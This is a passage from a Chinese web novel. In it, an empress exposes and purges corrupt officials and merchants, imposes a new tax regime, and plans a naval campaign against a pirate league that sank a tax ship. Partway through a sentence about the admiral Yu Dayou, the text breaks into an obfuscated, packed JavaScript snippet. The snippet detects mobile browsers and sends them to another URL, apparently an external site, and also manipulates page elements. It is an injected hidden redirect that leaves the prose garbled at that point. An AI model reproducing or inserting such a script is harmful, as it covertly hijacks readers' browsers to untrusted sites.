陈廷敬的脸色“唰”地一下,由赤红转为惨白,最后变成一种死灰般的颜色,冷汗如浆,瞬间湿透了厚重的朝服,粘腻冰冷地贴在身上。他猛地抬起头,眼中充满了难以置信的惊骇与恐惧,嘴唇哆嗦着,却发不出完整的声音:“陛……陛下……那……那是祖上积德,勤勉经营所得,是……是祖产,祖产啊……” “祖产?”谢凤卿打断他,语气依旧平淡,却字字如淬毒的冰锥,狠狠扎入陈廷敬的心脏,也扎入在场每一个心中有鬼之人的耳膜,“你陈家世代盐商,凭盐引之利,勾结盐官,把持淮盐,积累财富何止千万。你父陈万年,隆庆三年,为谋得两淮‘纲总’之位,向时任两淮都转盐运使司运使刘洪行贿,一次便是白银五十万两,奇珍古玩无算,此事盐运司旧档、刘洪家人供词、乃至你父与刘洪往来密信,监察司皆有存档,你可要朕当众念来?” 不待陈廷敬反应,她语速加快,步步紧逼:“你兄陈廷轩,自弘治年起,便利用盐船夹带,勾结边镇败类,走私生铁、精钢、药材出关,资助北漠鞑靼各部,换取毛皮、马匹,牟取暴利十倍不止!去岁北境战事,我军曾缴获鞑靼军中制式精良刀剑,其上烙印,经工部与内府兵器局查验,竟与江南某官营铁坊流出之物一般无二!而经影卫密查,那铁坊背后东家,绕了七八个弯子,最终便指向你陈家!此事,你兄已在押,人证物证俱全,你可要与他当面对质?” 陈廷敬浑身抖如筛糠,瘫软在地,几乎要晕厥过去,口中只能发出“嗬嗬”的、如同破风箱般的声音。 谢凤卿却不再看他,目光如冰冷的探照灯,扫向刚才跳得最凶的另外几人:“还有你,刘文正,你福建老家,茶山千亩,皆是以‘祭田’、‘学田’之名,强占而来,当地百姓诉状堆积如山!你赵德坤,你在山西老家的三座铁矿,从未向工部报备,更未缴纳分文矿税,私自开采贩卖,年入数十万两!还有你,王员外郎,你去年为何能突然在京中置办三处大宅,纳了四房美妾?你户部那点俸禄,够吗?需不需要朕让监察司,帮你算算,你夫人名下那几家绸缎庄、当铺,每年‘孝敬’你多少干股分红?” 她每点一人,那人便如同被抽去了骨头,面无人色,瘫倒在地,或瑟瑟发抖,或汗出如浆,或直接两眼一翻,晕死过去。偌大的广场,此刻鸦雀无声,只有谢凤卿冰冷的声音,如同死神的宣判,清晰地在每个人耳边回荡: “冤枉?诬陷?”谢凤卿的声音陡然转厉,带着雷霆之威,与压抑了许久的、滔天的怒火,“朕登基以来,一再给你们机会!大赦天下,既往不咎!求言纳谏,广开言路!可你们呢?阳奉阴违,贪得无厌!国库空虚,边关告急,百姓困苦,而你们,还有你们背后那些盐商、茶商、铁商,却富可敌国,穷奢极欲!你们的宅邸连云,田产阡陌,你们的餐食堪比龙肝凤髓,你们的子弟横行乡里,无法无天!这天下,到底是谁的天下?这利益,到底该是谁的利益?” 她猛地一拍御座扶手,霍然站起,玄色衮服无风自动,十二章纹仿佛要腾飞而出,帝威如狱,森然笼罩整个天地: “传朕旨意!” “都察院左副都御史陈廷敬,贪墨渎职,勾结奸商,资敌叛国,罪证确凿,着革去一切官职、爵位、功名,抄没家产,其本人及主要案犯,即刻锁拿,移交刑部、大理寺、都察院三司会审,从严从重,按律论处!其家族涉及不法经商所得,一律充公!凡有说情、包庇、通风报信者,同罪论处!” “礼部右侍郎刘文正,工部郎中赵德坤,户部员外郎王俭……等七人,贪赃枉法,侵占民产,对抗新政,证据俱在,一并革职查办,家产充公,交由三司严审!” “盐、铁、茶、酒、矾、香料等新税制改革章程,朕已御览,乃强国富民、迫不得已之良策!着内阁会同户部、工部、刑部、都察院,即日完善所有细节,厘定具体推行方略、税则税率及配套律法条文。朕,只给你们十日时间!十日后,朕要看到完整的、可即刻颁行天下的《新税制法令》!” “新税制,自凤翔元年五月初一日起,于全国各直省、府、州、县,一体施行!任何官员、差役,敢有阻挠拖延、阳奉阴违、曲解圣意者,立斩不赦!任何商人、豪强,敢有煽动闹事、暴力抗法、走私偷漏者,无论涉及何人,无论家世背景,一律以谋逆、抗旨论处,主犯凌迟,家族连坐,家产尽没!朕,说到做到!” 最后几句话,她几乎是咬着牙,一字一顿,从胸腔深处迸发出来,带着凛冽刺骨的杀意与不容置疑的决绝,在广场高大巍峨的宫墙间轰然回荡,震得所有人耳中嗡嗡作响,心神俱裂,肝胆欲碎! “臣等……遵旨!陛下万岁万岁万万岁!”短暂的、令人窒息的死寂后,以周文康为首的支持新政的官员,率先反应过来,齐刷刷跪倒,声音带着激动、颤栗,与一种劫后余生般的虚脱。他们知道,陛下这是以最雷霆、最血腥的手段,强行推开了这扇最危险的门!任何挡路者,都将被无情碾碎! 而那些原本激烈反对、或心中存疑的官员,此刻大多面无人色,浑身抖得如同秋风中的落叶,扑通扑通跪了一地,头深深埋下,不敢抬起分毫。陈廷敬等人被当朝揭穿老底、直接锁拿下狱的惨状,如同最冰冷、最血腥的警告,让他们瞬间明白了女帝深不可测的城府、冷酷无情的决心,与掌控一切的可怕能力!这不是商议,是审判;不是妥协,是你死我活的战争 !在绝对的皇权、在确凿如山铁证、在寒光闪闪的屠刀面前,所有的反对、哭诉、串联、阴谋,都显得如此可笑而脆弱!许多人心中最后一丝侥幸,彻底熄灭了,只剩下无边的恐惧与臣服。 第218章若有反抗,格杀勿论 “退朝!”高无庸用尽全身力气,尖着嗓子高唱,声音都变了调。 “恭送陛下,陛下万岁万岁万万岁!”这一次,山呼万岁的声音,前所未有地整齐划一,也前所未有地……充满了发自灵魂深处的敬畏,甚至恐惧。许多人几乎是瘫软着被同僚搀扶起来,踉跄着退出广场,官袍后背,早已被冷汗浸透,在春日的暖风里,透着刺骨的冰凉。 朝会散了,但金銮殿前那令人窒息的压力与血腥味,却仿佛凝而不散,随着春风,吹遍了京城的每一个角落。一场席卷全国、震动朝野、注定要用无数人头和鲜血来奠基的利益格局大洗牌,以这种最激烈、最残酷的方式,拉开了猩红的序幕。 接下来的一个月,是整个大周朝堂、商界乃至地方社会最为动荡、最为血腥、也最为考验新政成色的关键时期。女帝在金銮殿前的雷霆一击,不仅震慑了朝堂,其影响更如同投入滚油的火星,瞬间点燃了帝国肌体上最顽固的那颗毒瘤,引发了连锁的、剧烈的、充满痛苦的排异反应。 以陈廷敬案为突破口和信号,在谢凤卿的明确授意和萧御的亲自统筹指挥下,监察司、影卫、刑部、都察院以及新成立的、被赋予了极大权柄的“清账司”、“巡盐御史”等机构,如同开动了最精密、最无情的杀戮与清洗机器,以迅雷不及掩耳之势,扑向所有早已在名单上的、与盐、铁、茶等旧利益集团勾连甚深的官员、勋贵、地方豪强、巨商大贾。 名单是影卫与监察司多年侦查、精心罗列,证据是早已暗中搜集、反复核实的。行动之迅速、打击之精准、手段之酷烈、牵连之广泛,令朝野上下瞠目结舌,胆战心惊。这不再是普通的反腐,而是一场针对整个旧有既得利益网络的、外科手术式与犁庭扫穴相结合的彻底清洗。 扬州,两淮盐运司衙门。 这座昔日门庭若市、富丽堂皇、掌握着帝国东南盐业命脉的衙门,此刻已被从金陵大营调来的、全副武装的官兵里三层外三层围得水泄不通。阳光下,官兵的甲胄与刀枪闪烁着冰冷的光芒,肃杀之气弥漫。新任巡盐御史、萧御心腹、以刚正冷峻闻名的监察司佥事林墨,身着绯色官袍,腰悬尚方宝剑,手持明黄圣旨与金批王命旗牌,面无表情地站在盐运司大堂前的石阶上。他面前,跪着面如死灰、瑟瑟发抖的前任两淮都转盐运使、同知、副使、判官等一干核心官吏。 林墨展开圣旨,用清晰而冰冷的声音,当众宣读他们的罪状:贪墨盐税、勾结盐商、纵容甚至参与走私、草菅人命、勒索商民……林林总总,多达三十余条。每念一条,跪着的官员脸色就灰败一分,身体就瘫软一寸。当念到“资敌嫌疑”(与北漠走私)时,盐运使终于支撑不住,两眼一翻,昏死过去。 “拿下!抄家!”林墨收起圣旨,冷冷挥手,毫无波澜。 如狼似虎的官兵与监察司吏员立刻涌入。昔日堆满账册、弥漫着铜臭与权势气息的衙门,瞬间被翻了个底朝天。地窖被挖开,夹墙被推倒,水井被抽干……成箱的金锭银锭、珠宝古玩、字画珍籍、一叠叠巨额的银票、地契、房契、盐引(旧引)……从各种隐秘的角落被搜出,堆积在院中,在阳光下反射着令人眩晕的光芒。女眷的哭嚎声、仆役的惊呼声、兵丁的呵斥声、器物摔碎的声响混杂在一起。昔日煊赫无比、执掌东南盐务、富可敌国的盐运使司,一日之间,大厦倾颓,家破人亡。 与此同时,扬州城内最大的几家盐商总号,也同时遭到查抄。总商汪如海,号称“盐业之王”,其家资之巨,传说“金山银海”。此刻,他肥硕的身躯被沉重的铁链锁着,瘫倒在自己那镶金嵌玉、极尽奢华的正厅地板上,看着平日里对他点头哈腰的官兵,此刻如同虎狼般涌入,将他几十年巧取豪夺、积累的财富洗劫一空。金砖被撬起,名画被扯下,古董被粗暴地装箱……他目眦欲裂,口中发出不甘的嘶吼:“我乃朝廷特许总商!我有盐引!我……我每年给朝廷纳那么多税……我要见陈大人!我要见王爷!你们不能这样!天下盐商不会答应!漕帮的弟兄们不会答应!” “税?”林墨踱步到他面前,居高临下,眼中尽是冰冷的嘲讽,“你纳的税,十成里有没有三成进了国库?剩下的,都喂了哪些蛀虫,你心里比谁都清楚。至于陈廷敬,”他顿了顿,从袖中取出一份供词,在汪如海眼前晃了晃,“他已在刑部大牢,将你们如何行贿、如何分赃、如何走私,吐了个一干二净。至于王爷,”他看了一眼手中的王命旗牌,上面萧御的金印赫然在目,“正是奉监国亲王殿下严令,彻查尔等祸国殃民之巨蠹!带走!若有反抗,格杀勿论!” 汪如海如遭雷击,彻底瘫软下去,面如金纸,肥硕的身躯瘫成一团烂泥,再也发不出任何声音。他知道,全完了。他背后那些看似坚不可摧的靠山,在皇权的铁拳面前,不堪一击;他积累的泼天富贵,顷刻化为泡影;甚至连他的性命,乃至族人的性命,恐怕都要为这滔天的罪行付出代价。新帝的刀,太快,太狠,太不留余地,根本不给任何反应和转圜的时间。 类似的场景,在山西(针对勾结官员、私开铁矿、走私铁器的巨商)、福建(针对强占茶山、垄断茶市、贿赂官员的茶商)、广州(针对与市舶司勾结、走私香料珠宝、甚至与海外势力有染的豪商)、四川(针对把持盐井、茶山的地方豪强)等地几乎同时上演。手持尚方宝剑与圣旨的巡盐御史、矿监、税监,在地方驻军和监察司密探的全力配合下,以犁庭扫穴之势,清洗着旧有的利益网络。反抗不是没有,一些地方豪商自恃财力雄厚,蓄养私兵、死士,甚至勾结部分地方驻军低级军官或衙门胥吏,试图武装对抗。 但在早有准备、装备精良、且得到明确平叛指令的朝廷正规军面前,这些抵抗往往如同螳臂当车,很快就被血腥镇压下去。为首者被当场格杀,悬首城门示众;从犯尽数下狱,家产抄没。 一时间,天下震动,商贾惶惶不可终日,官员人人自危,通往京城的各条官道上,押解着犯官、犯商及其家眷的囚车络绎不绝;各地的监牢人满为患;而抄没的巨额家产,则如同百川归海,通过“清账司”的专门渠道,源源不断地涌入京城新设的、戒备森严的“罚没银库”。血腥气与铜臭气,混合着新朝春天草木萌发的清新气息,构成一幅诡异而残酷的盛世图景。 当然,铁血的清洗只是手段,而非目的。在雷霆打击、震慑人心的同时,新税制的具体推行与落地,才是真正的考验,也在一刻不停地紧张进行。 内阁与相关衙门,在巨大的压力下,日夜赶工,终于在十日期限内,将完善的《新税制法令》及一系列实施细则呈报御前。谢凤卿与萧御、周文康等人反复审议,朱批修改,最终定稿。法令以朝廷最高规格的明发邸报、官府张榜、快马驿传、乃至派专员宣讲等方式,以最快的速度传递大周的每一个州县,务必使上至知府知县,下至乡野小民,尽皆知悉。 新的盐引(实为“特许经营凭证”)招标在紧张而保密地进行。朝廷对投标商人的资质、资本、信誉、过往经营记录进行了前所未有的严格审核,剔除了大量与旧盐商集团关系密切、或有不良记录的商人,同时引入了一批背景相对干净、有一定实力、且表示愿意严格遵守新法的新兴商人,也保留(或说改造)了少数几位在清洗中表现“配合”、及时切割与旧势力关系、并愿意缴纳巨额“诚意金”和“保证金”的原大商人。新的盐区被重新划分,统一定价(价格比旧时猖獗的私盐价略高,但比官盐实际售价和盐商肆意抬价后的市价要低,旨在保障税收的同时平抑盐价),独立的巡盐体系与盐丁队伍在组建训练,对走私的打击条令严厉到近乎残酷。 铁的管制更加严格。大型优质矿场、主要冶炼工场、所有军工作坊被朝廷直接接管,由工部与内府选派干员与军队共同管理。民间中小型矿业必须重新向工部在地方的分支机构申请“冶铁特许状”,接受严格的安全、环保、产量核查,并缴纳高额的矿产税和产品税。所有铁料,尤其是可用于制造兵器的熟铁、钢材,其销售流向必须严格登记,违者以资敌论处。 茶、酒、矾、香料等行业的“特许经营牌”开始以高昂的价格发放,并且规定了持牌商人每年的最低营业额和纳税额,偷税漏税者将面临巨额罚款、吊销牌照乃至下狱的重罚。 第219章“海澄”号 简化税目、扩大税基的政令也同步强力推行。大量巧立名目、盘剥百姓的“杂捐”、“陋规”被明令废除。但主要的田赋、商税等基准税率有所提高,并且强制要求各地必须在限期内重新核查税基,将之前被权贵、官绅、寺庙以各种手段隐匿、或利用特权免税的田产、商铺、山林、湖泽等,全部重新丈量登记,纳入国家征税范围。这一条同样触动了无数地主、士绅的切身利益,但在盐铁茶巨商被血腥清洗的背景下,在朝廷展现出的铁血手腕面前,地方上的反对声音虽然依旧存在,却已微弱了许多,大多转为暗中抵制或消极拖延。 这是一场涉及整个帝国经济命脉、社会结构的深度外科手术,痛苦、血腥、充满风险,但主刀的“医师”谢凤卿与她的“副手”萧御,已然没有了退路。他们手持最锋利的手术刀,在帝国肌体腐坏最甚处,坚定而冷酷地切割着,试图剜去腐肉,重塑筋骨,哪怕这个过程会流血,会惨叫,会引发剧烈的排斥反应。他们知道,只有熬过这最痛苦的排异期,新的、健康的肌体才有可能生长出来。 凤翔元年,四月底。深夜,御书房。 窗外夜色如墨,星河低垂。御书房内却依旧灯火通明,亮如白昼。巨大的宫灯与无数烛台,将房间每一个角落都照得清晰无比,也映照着谢凤卿略显苍白疲惫、却目光锐利如常的面容。书案上堆积如山的奏章,经过连日的批阅,已然少了许多。她正伏案疾书,朱笔挥洒,处理着最后几份关于新税制在各地初步推行情况的汇总报告。墨迹未干,在灯光下泛着湿润的光泽。 萧御坐在她对面稍侧的位置,手中拿着一份刚刚由八百里加急、密封火漆送入的密报。他拆开只看了一眼,眉头便紧紧锁了起来,脸上原本因近日一系列成功行动而稍有缓和的沉郁之色,再次变得凝重无比,甚至比之前更甚。 “陛下,”他放下密报,声音低沉,带着一种山雨欲来前的压抑,“扬州、山西、福建、四川等地,新税制推行虽遭遇不同程度的抵制和混乱,但在强力弹压和明确法令下,已基本步入正轨,市面渐趋稳定。首批按照新法运营的官盐、官铁、官茶已陆续上市,价格基本平稳,未出现大的动荡。而税收……”他顿了顿,眼中闪过一丝复杂的光芒,有振奋,也有更深沉的忧虑,“远超我们最乐观的预估。仅扬州盐区,新税制施行后的第一个月,盐税入库白银,便高达八十五万两!是往年同期盐税实收的……近五倍!” 谢凤卿手中的朱笔微微一顿,一滴饱满的朱砂险些滴落在奏章洁白的纸面上。她缓缓抬起头,看向萧御,那双总是沉静如寒潭的眸子里,似有惊人的光华骤然亮起,又迅速被更深的思虑所覆盖:“多少?你再说一遍。” “八十五万两。”萧御清晰地重复,语气中也带着一丝难以置信的震撼,“这还仅仅是扬州一处,而且是在新法刚刚推行、许多环节尚未完全理顺、旧势力仍在暗中掣肘的情况下。据周文康初步测算,若全国各主要盐区都能达到或接近此成效,仅盐税一项,今年岁入便可能突破一千万两!若再加上铁、茶、酒等其他税收,以及清丈田亩、整顿商税的成果,今年国库岁入,翻三倍……恐怕还是保守的估计。” 即便以谢凤卿的定力与心性,此刻胸腔中也仿佛被投入了一块巨石,激起千层浪涛!她知道新税制效果会好,知道这会极大缓解财政危机,但万万没想到,效果会好到如此地步!如此猛烈!如此……惊人! 仅仅一个扬州盐区,一个月的税收,就几乎相当于过去某些贫瘠省份一整年的岁入!这庞大的数字背后,代表的不仅仅是瞬间充盈起来的国库,更是对新政最强有力的背书,是对她帝王权威与决策最坚实的巩固,是对所有反对势力和观望者最无情而响亮的耳光!巨大的喜悦与成就感,如同炽热的岩浆,在她冰冷的心湖下奔腾涌动,几乎要破壳而出! 然而,萧御接下来的话,如同一盆冰水混合着鲜血,兜头浇下,瞬间将那刚刚燃起的喜悦之火浇灭,只剩下刺骨的寒意与更加凛冽的杀意。 “但是,”萧御将那份密报推到谢凤卿面前,手指因用力而微微泛白,“我们遇到了新的、更棘手、更危险的麻烦。东南海疆,出事了。” 谢凤卿放下朱笔,接过那份还带着风尘与汗渍气息的密报,快速展开浏览。越看,她的眉头皱得越紧,脸色也越发冰冷,仿佛有寒霜凝结。密报来自广州,奏报者是新任广州市舶司提举(主管海外贸易)兼东南税监,也是萧御的另一位心腹干将,以精明强干、熟悉夷务著称的陆文渊。 陆文渊在奏报中详细禀明:广州新税制(主要针对进口香料、珠宝、象牙、犀角等奢侈品以及部分出口瓷器绸缎、茶叶的税收)推行基本顺利,虽然遭到旧有行商抵制,但凭借强硬手腕和清晰税则,税收较往年同期已有显著增长。然而,正因如此,触怒了盘踞南洋海域多年、势力庞大、行事狠辣的跨国走私武装集团——“四海商盟”。 这“四海商盟”并非大周本土商帮,而是一个以沿海豪强、海盗、走私商人为核心,勾结部分东南亚土王、倭寇残余、甚至与西洋(葡萄牙、西班牙、荷兰)殖民者及商人有千丝万缕联系的庞大黑暗势力。 他们控制着从南洋至东南沿海的诸多重要走私路线、秘密岛屿据点和贸易节点,长期逃避朝廷税赋,大肆走私香料、珠宝、象牙、犀角、鸦片(此时鸦片输入已初现端倪)、乃至西洋火器,同时也走私大周的丝绸、瓷器、茶叶出境,获利巨万,富可敌国。其势力根深蒂固,在沿海各省拥有无数眼线、代理人和保护伞,甚至与部分地方水师将领、市舶司官吏、沿海州县官员暗通款曲,结成了利益同盟。 过去朝廷对海贸管控时紧时松,市舶司腐败,地方官员收受贿赂,睁只眼闭只眼,四海商盟尚能与官府维持一种脆弱的“平衡”,甚至分享部分利益。但如今新税制严厉,陆文渊又是萧御派来的铁腕人物,上任后大力整顿市舶司,严查走私,追缴偷漏税款,等于断了四海商盟最大、最便捷的财路。商盟首脑们震怒不已,认为新朝廷这是要“断他们的生路”,已多次放出狠话,要“给不知天高地厚的新皇帝一点颜色瞧瞧”,“让广州城知道,这海上,到底是谁说了算!” 真正的危机,爆发在数日前。一艘满载着按照新税制刚征收上来、价值超过三十万两白银的南洋香料、珠宝、象牙的朝廷官船“海澄”号,在从广州黄埔港驶往泉州港的途中,于外海万山群岛附近海域,遭遇了不明身份的庞大武装船队袭击! “海澄”号虽是官船,有一定武装,但如何是专门干杀人越货勾当的海盗船对手?据少数幸存渔民(在远处目睹)及后来巡查水师发现的残骸判断,袭击者船队规模超过二十艘,其中数艘竟是装备了西洋重型火炮的“夹板巨舰”!(此时西方殖民者的武装商船已开始出现在远东海域)海盗船队利用速度优势包抄,火炮齐鸣,“海澄”号很快便被击穿船舱,燃起大火。 押运的五十余名官兵及水手奋起抵抗,但寡不敌众,在接舷战后悉数被杀害,尸首抛入大海。船上的税银、货物被劫掠一空,整艘船最终沉入深海,只留下些许漂浮的残骸和油污,证明着这里曾发生过一场惨烈的屠杀。 现场留下的某些独特旗帜碎片、火炮形制,以及幸存渔民描述的船只特征,都隐隐指向“四海商盟”旗下那支最凶悍、拥有西洋舰船的海盗舰队——“黑蛟帮”。这已不仅仅是挑衅,这是赤裸裸的武力宣战!是对大周朝廷税政权威、海军力量、乃至新帝尊严的公然践踏与羞辱! “砰!”谢凤卿一掌重重拍在紫檀木书案上,力道之大,震得笔架上的毛笔弹起,墨汁飞溅!她猛地站起身,眼中燃起冰冷刺骨、足以焚毁一切的怒火,那怒火中更夹杂着被触犯逆鳞的暴戾杀意,“四海商盟……黑蛟帮……好!好大的狗胆!竟敢袭击朝廷官船,杀戮官兵,劫掠税银!三十万两!五十多条性命!他们这是要造反!是要将这东南海疆,变成他们的法外之地!” 她的声音因极致的愤怒而微微发颤,却更显森寒:“陆文渊是干什么吃的?广东水师是摆设吗?为何会让官船在近海遭此厄运?巡海官兵何在?预警何在?” 第220章就依你所言 “陛下息怒。”萧御沉声道,他理解她的愤怒,此事确实骇人听闻,“据陆文渊后续密报,袭击发生在深夜,且地点选在航道复杂、岛屿众多的万山群岛外围,本就非日常巡逻重点区域。‘海澄’号此行亦属秘密押运,知情人有限,海盗却能精准设伏,显然在我内部有眼线,且筹划已久。 广东水师主力当时正在粤东海域追剿另一股海盗,反应不及。此事,暴露我水师分防薄弱、协调不力、且有内鬼作祟等诸多问题。陆文渊已紧急加强广州内外防务,命令水师提高戒备,并暗中全力调查内奸及四海商盟巢穴。但他也坦言,商盟势力盘根错节,行踪诡秘,拥有不亚于正规水师的强大舰船火力,且与部分地方势力牵连极深,短期内恐难将其根除。他担忧,商盟此举意在**,若朝廷不退让,他们很可能继续袭击官船、商船,甚至骚扰沿海城镇,焚毁市舶司仓库,制造恐慌,逼迫朝廷在税政上让步。” “让步?”谢凤卿怒极反笑,那笑容里没有一丝温度,只有凛冽的杀意与睥睨,“朕的字典里,自登基之日起,便再无‘让步’二字!陆上的盐铁茶,朕能将其连根拔起;海上的这些魑魅魍魉,朕一样能将其彻底荡平,沉尸海底!这不是税银的问题,这是国格!是军威!是朕对这**海疆行使**的象征!若连几个海盗都收拾不了,朕何以威服四夷?何以安定沿海百万生灵?” 她几步走到悬挂着巨幅沿海及南洋舆图的墙壁前,目光如电,扫过那蜿蜒曲折的海岸线与星罗棋布、标注着不同势力的岛屿。“四海商盟……必须铲除!不惜一切代价!不仅是为了那三十万两税银,为了五十名将士的性命,更是为了彰显大周国威,肃清海疆,保障海路畅通,也为日后开拓远洋贸易、收取市舶之利,扫清这最大的障碍!” 她转身,看向萧御,目光灼灼,如同燃烧的星辰:“萧御,此事,你怎么看?陆上清洗,我们占了先机,以快打慢。这海上之战,敌暗我明,敌逸我劳,又当如何破局?” 萧御也走到舆图前,与谢凤卿并肩而立,他修长的手指划过东南沿海几个关键位置,又点向澎湖、琼州(海南)外海,乃至更南方的吕宋(菲律宾)、满剌加(马六甲)一带。“陛下,四海商盟不同于陆上盐铁茶商。他们无固定根基,巢穴隐秘,飘忽不定;拥有强大武装,尤善海战,甚至可能得到西洋火器技术支援;且其与沿海众多渔民、蛋民、小商人有千丝万缕联系,眼线遍布,消息灵通。若贸然调集大军,摆开阵势清剿,恐其闻风远遁,或化整为零,隐匿于万千岛屿和百姓之中,使我重拳犹如打在棉花上,劳师靡饷,却难收实效。且我朝水师,承平已久,舰船老旧,训练废弛,除少数将领所部,战力堪忧,能否匹敌商盟精锐海盗船队,尚未可知。” 他的分析冷静而残酷,直指大周水师的软肋与海战的特殊复杂性。 “你的意思是,不能硬攻,需用奇谋?”谢凤卿凝神细听。 “臣以为,当以‘剿抚并用,分化瓦解,情报先行,擒贼擒王’为要。”萧御眼中闪过睿智而锐利的光芒,显然对此已深思熟虑,“可明面上,陛下下旨,申饬广东、福建、浙江等地水师提督,责令其加强沿海巡防,保护商路,震慑宵小,并限期追查‘海澄’号一案真凶。此为‘明修栈道’,可安抚朝野,亦给地方水师施加压力。” “同时,”他压低声音,“需派一能臣,持陛下密旨,暗中前往广州,名义上可冠以‘巡视海防、督办市舶’等职,实则为钦差,协助陆文渊,统筹应对四海商盟之事。此人需胆略过人,心思缜密,熟悉海情夷务,有独当一面之能,且需有调动部分资源、协调各方之权。其核心任务有三:” “其一,详查四海商盟之内部架构、主要首领身份习性、巢穴可能位置、舰船实力分布、与内外势力(包括西洋人、倭寇、沿海官员)之具体勾结情况。此事需依赖精锐探子,甚至……可能需要设法打入其内部。” “其二,寻找商盟内部之裂隙。如此庞大集团,绝非铁板一块。或可重金收买其中不得志、或与首领有隙之中下层头目;或可利用其与西洋势力、不同海盗团伙之间的矛盾,行离间分化之计,使其内耗。” “其三,评估我沿海水师真实战力,暗中整备,汰弱留强,秘密调集精锐舰船、火器、及善水战之将士,囤积于关键港口,随时待命。待时机成熟——或是掌握其主力集结情报,或是设下圈套诱其来攻——再以雷霆万钧之势,水陆并进,直捣其核心巢穴,或于海上决战,一举歼其主力!此所谓‘暗度陈仓’,后发制人。” 谢凤卿听罢,沉吟良久。萧御的策略,务实而狠辣,充分利用了朝廷的资源优势和信息优势,避免了在不利条件下与海盗进行旷日持久的消耗战。“有理。明面上施压,暗地里谋划,待敌露出破绽,再予致命一击。那么,派谁去合适?此人责任重于泰山,需绝对忠诚可靠,智勇兼备,尤需熟悉海事。”她脑海中快速闪过几个名字,但符合所有条件者,寥寥无几。 萧御显然早已有人选,沉声道:“臣举荐一人——现任福建水师提督,俞大猷。” “俞大猷?”谢凤卿对这个名字有印象。俞大猷是嘉靖朝后期提拔起来的将领,出身军户,精通水战,早年曾随名将戚继光在东南抗倭,屡立战功,以善于练兵、纪律严明、战术灵活著称。后来因性格刚直,得罪上官及朝中某些权贵,被明升暗降,调任福建水师提督,看似位高,实则被排挤在抗倭主线之外,多年来郁郁不得志,但据影卫回报,其在任上并未懈怠,一直致力于整饬福建海防,操练水师,打击小股海盗,在官兵中威望颇高 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17265543|186727||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。影卫对其评价是:忠勇善战,熟稔海情,然性情刚烈,不善逢迎,且年事已高。 “俞大猷确有将才,且对海寇深恶痛绝。但他久在福建,与四海商盟在闽海的势力是否有牵连?且他已年近六旬,精力、锐气可还济事?能否驾驭广州、广东那边复杂的局面?”谢凤卿提出疑问,这也是用人的关键。 “据影卫多年密查,俞大猷为官清廉,自奉甚简,与走私势力素无瓜葛,且因其在任大力整顿海防,严厉查处与海盗走私有关联的官吏将弁,与四海商盟在福建的势力多有冲突。商盟曾数次试图重金收买他,皆被其严词拒绝,并将来人痛斥驱逐。至于年事,”萧御道,“俞大猷今年五十有八,确已不年轻,然其常年身处行伍,身体硬朗,精力充沛,更难得的是经验老到,熟悉东南海域风情水文、海盗活动规律,且其练兵之能,朝中罕有匹敌。此正是老成谋国、沉稳持重之时。可明发诏书,升俞大猷为东南沿海五省(广东、福建、浙江、南直隶、山东)水师巡阅使兼兵部右侍郎,赐尚方宝剑,有节制诸省水师、先斩后奏之权。明面上,命其巡阅海防,整饬武备,督办‘海澄’号一案。暗里,陛下可另赐密旨与信物,授其全权处理四海商盟事宜,许其便宜行事,调动一切可用资源。” 他顿了顿,继续道:“再选派两名得力干员为其副手。臣举荐两人:监察司千户沈炼,精通弗朗机、红毛夷等多国语言,心思缜密,善于审讯与分析,可协助处理夷务、情报分析及与陆文渊的协调;另一人,影卫‘朱雀’堂主,本名朱影,武功高强,尤擅潜伏、刺探、暗杀与水战,可负责具体的情报搜集、秘密行动与保护俞大猷安全。此二人携带陛下手谕与信物,秘密先行南下,与陆文渊接头,待俞大猷公开抵达后,再暗中汇合,共商大计。” 谢凤卿凝神思索。俞大猷的忠诚与能力,经过抗倭战火考验,应无问题。其年长,或许反而更能镇住地方上那些骄兵悍将与油滑官吏。沈炼与朱影,一明一暗,一文一武,确是得力辅助。如此安排,明暗结合,权责清晰,是目前能想到的最佳配置。 “好,就依你所言。”谢凤卿下定决心,走回书案,提笔疾书,“即刻拟旨,擢升福建水师提督俞大猷为东南沿海五省水师巡阅使,加兵部右侍郎衔,赐王命旗牌、尚方宝剑,节制东南诸省水师,有专断之权,限期整顿海防,严查海盗,追剿‘海澄’号案凶。明发天下!” “另,拟密旨一道,赐俞大猷。着其统筹陆文渊、沈炼、朱影等人,务必查明四海商盟底细,分化瓦解,寻机歼灭!所需钱粮、兵械、船只,朝廷全力支持,可凭密旨与朕手谕,就近调拨太仓库银及地方存粮。再赐其朕之随身玉佩为信物,见玉佩如见朕躬,沿途官员,敢有阻挠、泄密、敷衍者,可先斩后奏!” 第221章臣即刻去办 “告诉俞大猷、陆文渊、沈炼、朱影,”谢凤卿放下笔,走到窗前,望着窗外沉沉的、仿佛孕育着风暴的夜色,声音冰冷而坚定,带着不容置疑的杀伐决断,“朕不管他们用什么法子,一年之内,朕要看到四海商盟烟消云散,东南海疆靖平!要看到‘黑蛟帮’匪首的人头,悬挂在广州城门之上!要看到被劫税银追回,殉国将士得以昭雪!所需一切,朕皆允准!但若办事不力,或与贼寇有所勾连,或畏敌怯战……朕的尚方宝剑,不介意再多染几抹血色!陆上的刀,海上的剑,朕,都要它锋利无比!” “是!臣即刻去办!”萧御肃然领命,眼中燃起熊熊斗志。他知道,海上的战争,其凶险与复杂,恐怕更甚于陆上。但这同样是巩固新朝、开拓财源、震慑四夷的关键一战,不容有失! 随着一道道冰冷而决绝的指令从乾元宫发出,整个紫禁城,乃至整个帝国的权力中枢,都如同被投入巨石的深潭,涟漪迅速扩散,暗流汹涌。那“不足三百万两”的残酷现实,如同悬顶之剑,斩断了最后一丝犹疑与侥幸的藤蔓,迫使这台庞大的帝国机器,必须以最高效、甚至近乎残酷的方式运转起来。 接下来的三日,对整个京城官场而言,是风声鹤唳、度日如年的三日。无形的压力如同实质的铅云,沉甸甸地压在每个人的心头。 